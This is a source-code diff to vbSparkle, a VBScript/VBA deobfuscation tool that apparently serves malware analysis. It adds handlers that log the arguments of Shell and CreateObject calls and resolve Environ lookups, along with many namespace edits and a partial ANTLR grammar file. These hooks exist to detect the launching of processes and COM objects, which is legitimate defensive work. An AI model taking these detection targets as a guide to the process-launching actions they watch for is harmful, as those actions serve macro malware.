a/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfElseBlockStmtContext.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfElseBlockStmtContext.cs index 89a5894..4a6dd8f 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfElseBlockStmtContext.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfElseBlockStmtContext.cs @@ -1,5 +1,5 @@ using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfThenElseStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfThenElseStatement.cs index cd4eda3..5e47cd8 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfThenElseStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfThenElseStatement.cs @@ -1,6 +1,6 @@ using System.Collections.Generic; using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbSelectCaseStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbSelectCaseStatement.cs index 829a809..ccc5fb7 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbSelectCaseStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbSelectCaseStatement.cs @@ -1,7 +1,7 @@ using System.Collections.Generic; using System.Linq; using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbWhileStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbWhileStatement.cs index cd76dd8..4553731 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbWhileStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbWhileStatement.cs @@ -1,6 +1,7 @@ using System.Collections.Generic; using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbWithStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbWithStatement.cs index 61eb2b5..cf517d0 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbWithStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbWithStatement.cs @@ -1,6 +1,6 @@ using System.Linq; using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Functions/VBMethod.cs b/Sources/vbSparkle/LanguageStatements/Functions/VBMethod.cs index 4e65da7..3ccda88 100644 --- a/Sources/vbSparkle/LanguageStatements/Functions/VBMethod.cs +++ b/Sources/vbSparkle/LanguageStatements/Functions/VBMethod.cs @@ -1,4 +1,5 @@ -using System; +using MathNet.Symbolics; +using System; using System.Collections.Generic; using System.Linq; using System.Text; @@ -112,6 +113,107 @@ public override DExpression Evaluate(params DExpression[] args) return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); } } + public class VB_EnvironS : VbNativeFunction + { + public VB_EnvironS(IVBScopeObject context) + : base(context, "Environ$") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + DExpression arg1 = args.FirstOrDefault(); + + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + { + return DefaultExpression(args); + } + + return new DSimpleStringExpression($"%{strArg}%", Encoding.Unicode, Context.Options); + } + } + + public class VB_Environ + : VbNativeFunction + { + public VB_Environ(IVBScopeObject context) + : base(context, "Environ") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + DExpression arg1 = args.FirstOrDefault(); + + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + { + return DefaultExpression(args); + } + + return new DSimpleStringExpression($"%{strArg}%", Encoding.Unicode, Context.Options); + } + } + + + public class VB_CreateObject + : VbNativeFunction + { + public VB_CreateObject(IVBScopeObject context) + : base(context, "CreateObject") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + DExpression arg1 = args.FirstOrDefault(); + + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + { + return DefaultExpression(args); + } + + if (Context?.Options?.CreateObjectObserver != null) + { + Context.Options.CreateObjectObserver.CreateObjectObserved.Add(strArg.Replace("\"\"", "\"")); + } + + return DefaultExpression(args); + } + } + + public class VB_Shell + : VbNativeFunction + { + public VB_Shell(IVBScopeObject context) + : base(context, "Shell") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + DExpression arg1 = args.FirstOrDefault(); + + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + { + return DefaultExpression(args); + } + + if (Context?.Options?.ShellObserver != null) + { + Context.Options.ShellObserver.ShellObserved.Add(strArg.Replace("\"\"", "\"")); + } + + return DefaultExpression(args); + } + } public class VB_Execute : VbNativeFunction diff --git a/Sources/vbSparkle/LanguageStatements/Literals/LiteralContext.cs b/Sources/vbSparkle/LanguageStatements/Literals/LiteralContext.cs index 177f4c4..c271af7 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/LiteralContext.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/LiteralContext.cs @@ -1,9 +1,9 @@ using System; using System.Collections.Generic; using System.Text; - -namespace vbSparkle -{ +using vbSparkle; +//namespace vbSparkle +//{ public partial class VBScriptParser { public partial class LiteralContext : ILiteralContext @@ -16,4 +16,4 @@ public partial class DelimitedLiteralContext : ILiteralContext } } -} +//} diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtBoolean.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtBoolean.cs index d951434..edd680a 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtBoolean.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtBoolean.cs @@ -1,6 +1,6 @@ using System; using vbSparkle.EvaluationObjects; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtColor.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtColor.cs index 69067ab..48dac25 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtColor.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtColor.cs @@ -1,5 +1,5 @@ using System; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtDateTime.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtDateTime.cs index 11026a1..00aa742 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtDateTime.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtDateTime.cs @@ -1,6 +1,6 @@ using System; using vbSparkle.EvaluationObjects; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtDouble.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtDouble.cs index fe804b5..db773b7 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtDouble.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtDouble.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtFileNumber.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtFileNumber.cs index 15b0720..d9bd50d 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtFileNumber.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtFileNumber.cs @@ -1,5 +1,5 @@ using System; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtInteger.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtInteger.cs index 1c1238f..e95e962 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtInteger.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtInteger.cs @@ -1,5 +1,5 @@ using System; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtNothing.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtNothing.cs index 05949f8..5b3282d 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtNothing.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtNothing.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtNull.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtNull.cs index cc1290e..711734a 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtNull.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtNull.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtOctal.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtOctal.cs index 3e1be97..6a1d82a 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtOctal.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtOctal.cs @@ -1,5 +1,5 @@ using System; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtString.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtString.cs index 3243643..e05e23e 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtString.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtString.cs @@ -1,6 +1,6 @@ using System.Text; using vbSparkle.EvaluationObjects; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBValueStatement.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBValueStatement.cs index 1e075d8..df647d2 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBValueStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBValueStatement.cs @@ -1,5 +1,5 @@ using System; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsAddressOfContext.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsAddressOfContext.cs index 096ad10..64d4f12 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsAddressOfContext.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsAddressOfContext.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsAssignContext.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsAssignContext.cs index f91fd99..d6ae48d 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsAssignContext.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsAssignContext.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsDualOperation.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsDualOperation.cs index adf9aec..4311109 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsDualOperation.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsDualOperation.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsICSContext.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsICSContext.cs index f38d28f..c0e6d18 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsICSContext.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsICSContext.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsLiteralContext.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsLiteralContext.cs index 8f40c67..a0e95d5 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsLiteralContext.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsLiteralContext.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsNewContext.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsNewContext.cs index 8324a22..71324bd 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsNewContext.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsNewContext.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsStructContext.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsStructContext.cs index cbf1005..0cd4cda 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsStructContext.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsStructContext.cs @@ -1,6 +1,6 @@ using System.Collections.Generic; using System.Linq; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsTypeOfContext.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsTypeOfContext.cs index 6d74940..2d90c0c 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsTypeOfContext.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsTypeOfContext.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsUnaryOperation.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsUnaryOperation.cs index fb35429..6e9519a 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsUnaryOperation.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsUnaryOperation.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/VbLockUnlockArgsStatements.cs b/Sources/vbSparkle/LanguageStatements/VbLockUnlockArgsStatements.cs index dacb4de..c83dade 100644 --- a/Sources/vbSparkle/LanguageStatements/VbLockUnlockArgsStatements.cs +++ b/Sources/vbSparkle/LanguageStatements/VbLockUnlockArgsStatements.cs @@ -2,7 +2,7 @@ using Antlr4.Runtime.Tree; using System.Collections.Generic; using System.Linq; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/VbVariableStatement.cs b/Sources/vbSparkle/LanguageStatements/VbVariableStatement.cs index 1685403..92c7ceb 100644 --- a/Sources/vbSparkle/LanguageStatements/VbVariableStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/VbVariableStatement.cs @@ -148,7 +148,13 @@ public override DExpression Prettify(bool partialEvaluation) } if (IsTypeDefined) + { + if (VType.ToLower() == "string") + { + this.Context.SetVarValue(IdentifiedObject.Identifier, new DSimpleStringExpression(string.Empty, System.Text.Encoding.Unicode, this.Context.Options)); + } return new DCodeBlock(codeBlock + " As " + VType); + } else return new DCodeBlock(codeBlock); diff --git a/Sources/vbSparkle/LanguageStatements/VbWithArgsStatements.cs b/Sources/vbSparkle/LanguageStatements/VbWithArgsStatements.cs index 9a26ed0..79341d6 100644 --- a/Sources/vbSparkle/LanguageStatements/VbWithArgsStatements.cs +++ b/Sources/vbSparkle/LanguageStatements/VbWithArgsStatements.cs @@ -2,7 +2,7 @@ using Antlr4.Runtime.Tree; using System.Collections.Generic; using System.Linq; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/Objects/NativeObjectManager.cs b/Sources/vbSparkle/Objects/NativeObjectManager.cs index 7404973..334acaa 100644 --- a/Sources/vbSparkle/Objects/NativeObjectManager.cs +++ b/Sources/vbSparkle/Objects/NativeObjectManager.cs @@ -127,11 +127,11 @@ public NativeObjectManager() Add(new NativeMethods.VB_MonitoringFunction(this, "Choose")); Add(new NativeMethods.VB_MonitoringFunction(this, "Command")); Add(new NativeMethods.VB_MonitoringFunction(this, "Command$")); - Add(new NativeMethods.VB_MonitoringFunction(this, "CreateObject")); + Add(new NativeMethods.VB_CreateObject(this)); Add(new NativeMethods.VB_MonitoringFunction(this, "DeleteSetting")); Add(new NativeMethods.VB_MonitoringFunction(this, "DoEvents")); - Add(new NativeMethods.VB_MonitoringFunction(this, "Environ")); - Add(new NativeMethods.VB_MonitoringFunction(this, "Environ$")); + Add(new NativeMethods.VB_Environ(this)); + Add(new NativeMethods.VB_EnvironS(this)); Add(new NativeMethods.VB_Execute(this)); Add(new NativeMethods.VB_MonitoringFunction(this, "GetAllSettings")); Add(new NativeMethods.VB_MonitoringFunction(this, "GetObject")); @@ -142,7 +142,7 @@ public NativeObjectManager() Add(new NativeMethods.VB_MonitoringFunction(this, "Partition")); Add(new NativeMethods.VB_MonitoringFunction(this, "SaveSetting")); Add(new NativeMethods.VB_MonitoringFunction(this, "SendKeys")); - Add(new NativeMethods.VB_MonitoringFunction(this, "Shell")); + Add(new NativeMethods.VB_Shell(this)); Add(new NativeMethods.VB_MonitoringFunction(this, "Switch")); // TODO // Information diff --git a/Sources/vbSparkle/Options/EvaluatorOptions.cs b/Sources/vbSparkle/Options/EvaluatorOptions.cs index e4b85ac..bc63587 100644 --- a/Sources/vbSparkle/Options/EvaluatorOptions.cs +++ b/Sources/vbSparkle/Options/EvaluatorOptions.cs @@ -19,11 +19,17 @@ public class CreateObjectObserver public List CreateObjectObserved { get; set; } = new List(); } + public class ShellObserver + { + public List ShellObserved { get; set; } = new List(); + } + public class EvaluatorOptions { public LargeStringAllocationObserver LargeStringAllocationObserver { get;set;} = null; public ExecuteObserver ExecuteObserver { get; set; } = null; public CreateObjectObserver CreateObjectObserver { get; set; } = null; + public ShellObserver ShellObserver { get; set; } = null; public SymbolRenamingMode SymbolRenamingMode { get; set; } = SymbolRenamingMode.None; public JunkCodeProcessingMode JunkCodeProcessingMode { get; set; } = JunkCodeProcessingMode.Comment; diff --git a/Sources/vbSparkle/PreProcessor/PreProcessorParser.cs b/Sources/vbSparkle/PreProcessor/PreProcessorParser.cs index cb86265..c9ce44c 100644 --- a/Sources/vbSparkle/PreProcessor/PreProcessorParser.cs +++ b/Sources/vbSparkle/PreProcessor/PreProcessorParser.cs @@ -3,8 +3,6 @@ using System.Collections.Generic; using System.Text; -namespace vbSparkle -{ public partial class VBPreprocessorsParser { public partial class LiteralContext : ILiteralContext @@ -21,4 +19,3 @@ public interface ILiteralContext : IRuleNode, IParseTree, ISyntaxTree, ITree { } } -} diff --git a/Sources/vbSparkle/PreProcessor/Statements/VBMacroValueStatement.cs b/Sources/vbSparkle/PreProcessor/Statements/VBMacroValueStatement.cs index 155c57b..824c69a 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VBMacroValueStatement.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VBMacroValueStatement.cs @@ -1,5 +1,5 @@ using System; -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VBValueStatement.cs b/Sources/vbSparkle/PreProcessor/Statements/VBValueStatement.cs index a03c51e..fc69d57 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VBValueStatement.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VBValueStatement.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VBVsConstContext.cs b/Sources/vbSparkle/PreProcessor/Statements/VBVsConstContext.cs index e6f1592..e24c1a2 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VBVsConstContext.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VBVsConstContext.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VBVsDualOperation.cs b/Sources/vbSparkle/PreProcessor/Statements/VBVsDualOperation.cs index 74730d4..4de66a4 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VBVsDualOperation.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VBVsDualOperation.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VBVsLiteralContext.cs b/Sources/vbSparkle/PreProcessor/Statements/VBVsLiteralContext.cs index 9085e3c..823edba 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VBVsLiteralContext.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VBVsLiteralContext.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VBVsStructContext.cs b/Sources/vbSparkle/PreProcessor/Statements/VBVsStructContext.cs index 2ddc695..6aa9f6f 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VBVsStructContext.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VBVsStructContext.cs @@ -1,6 +1,6 @@ using System.Collections.Generic; using System.Linq; -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VBVsUnaryOperation.cs b/Sources/vbSparkle/PreProcessor/Statements/VBVsUnaryOperation.cs index c0ad1ad..e26e579 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VBVsUnaryOperation.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VBVsUnaryOperation.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtBoolean.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtBoolean.cs index 7014c59..f7d4b07 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtBoolean.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtBoolean.cs @@ -1,6 +1,6 @@ using System; using vbSparkle.EvaluationObjects; -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtColor.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtColor.cs index b6465f3..4c6f606 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtColor.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtColor.cs @@ -1,5 +1,5 @@ using System; -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtDateTime.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtDateTime.cs index ba7b600..7ec34f5 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtDateTime.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtDateTime.cs @@ -1,6 +1,6 @@ using System; using vbSparkle.EvaluationObjects; -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtDouble.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtDouble.cs index 06f65a0..b3f9f7d 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtDouble.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtDouble.cs @@ -1,4 +1,4 @@ -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtInteger.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtInteger.cs index 79f47c4..cb1bfdb 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtInteger.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtInteger.cs @@ -1,5 +1,5 @@ using System; -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtOctal.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtOctal.cs index 333c7cd..c2e2d06 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtOctal.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtOctal.cs @@ -1,5 +1,5 @@ using System; -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtString.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtString.cs index d94a440..db87442 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtString.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtString.cs @@ -1,6 +1,6 @@ using System.Text; using vbSparkle.EvaluationObjects; -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle.PreProcessor.Statements { diff --git a/Sources/vbSparkle/VBPreprocessors.interp b/Sources/vbSparkle/VBPreprocessors.interp new file mode 100644 index 0000000..10b1eaa --- /dev/null +++ b/Sources/vbSparkle/VBPreprocessors.interp @@ -0,0 +1,191 @@ +token literal names: +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +'&' +'@' +',' +null +'.' +'=' +'!' +'>=' +'>' +'#' +'<=' +'{' +'(' +'<' +'-' +'*' +'<>' +'+' +'^' +'}' +')' +';' +'[' +']' +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null + +token symbolic names: +null +MACRO_CONST +AND +ATTRIBUTE +BEGIN +BEGINPROPERTY +CLASS +CONST +ELSE +ELSEIF +END_IF +END +ENDPROPERTY +EQV +FALSE +IF +IMP +IS +LIKE +MACRO_IF +MACRO_ELSEIF +MACRO_ELSE +MACRO_END_IF +MOD +NOT +NOTHING +NULL +OBJECT +OR +THEN +TRUE +VERSION +XOR +AMPERSAND +AT +COMMA +DIV +DOT +EQ +EXCLAMATIONMARK +GEQ +GT +HASH +LEQ +LBRACE +LPAREN +LT +MINUS +MULT +NEQ +PLUS +POW +RBRACE +RPAREN +SEMICOLON +L_SQUARE_BRACKET +R_SQUARE_BRACKET +STRINGLITERAL +DATELITERAL +HEXLITERAL +INTEGERLITERAL +DOUBLELITERAL +FILENUMBER +OCTALLITERAL +GUID +NEWLINE +IDENTIFIER +COMMENT +LINE_CONTINUATION +WS +ANYCHAR +REM +LABEL_L + +rule names: +startRule +macroConst +codeBlock +codeBlockBody +nonMacroCodeBlockX +moduleInfo +moduleReferences +moduleReference +moduleReferenceValue +moduleReferenceComponent +moduleHeader +moduleConfig +moduleConfigElement +ambiguousIdentifier +moduleAttributes +macroIfThenElseStmt +macroIfBlockCondStmt +macroIfBlockStmt +macroElseIfBlockStmt +macroElseBlockStmt +commentBlock +lineLabel +nonMacroCodeBlockLine +nonMacroCodeStmt +controlProperties +cp_Properties +cp_NestedProperty +cp_ControlType +complexType +cp_ControlIdentifier +attributeStmt +ifConditionStmt +valueStmt +delimitedLiteral +literal +anytoken + + +atn: +[4, 1, 72, 677, 2, 0, 7, 0, 2, 1, 7, 1, 2, 2, 7, 2, 2, 3, 7, 3, 2, 4, 7, 4, 2, 5, 7, 5, 2, 6, 7, 6, 2, 7, 7, 7, 2, 8, 7, 8, 2, 9, 7, 9, 2, 10, 7, 10, 2, 11, 7, 11, 2, 12, 7, 12, 2, 13, 7, 13, 2, 14, 7, 14, 2, 15, 7, 15, 2, 16, 7, 16, 2, 17, 7, 17, 2, 18, 7, 18, 2, 19, 7, 19, 2, 20, 7, 20, 2, 21, 7, 21, 2, 22, 7, 22, 2, 23, 7, 23, 2, 24, 7, 24, 2, 25, 7, 25, 2, 26, 7, 26, 2, 27, 7, 27, 2, 28, 7, 28, 2, 29, 7, 29, 2, 30, 7, 30, 2, 31, 7, 31, 2, 32, 7, 32, 2, 33, 7, 33, 2, 34, 7, 34, 2, 35, 7, 35, 1, 0, 5, 0, 74, 8, 0, 10, 0, 12, 0, 77, 9, 0, 1, 0, 5, 0, 80, 8, 0, 10, 0, 12, 0, 83, 9, 0, 1, 0, 3, 0, 86, 8, 0, 1, 1, 1, 1, 1, 1, 3, 1, 91, 8, 1, 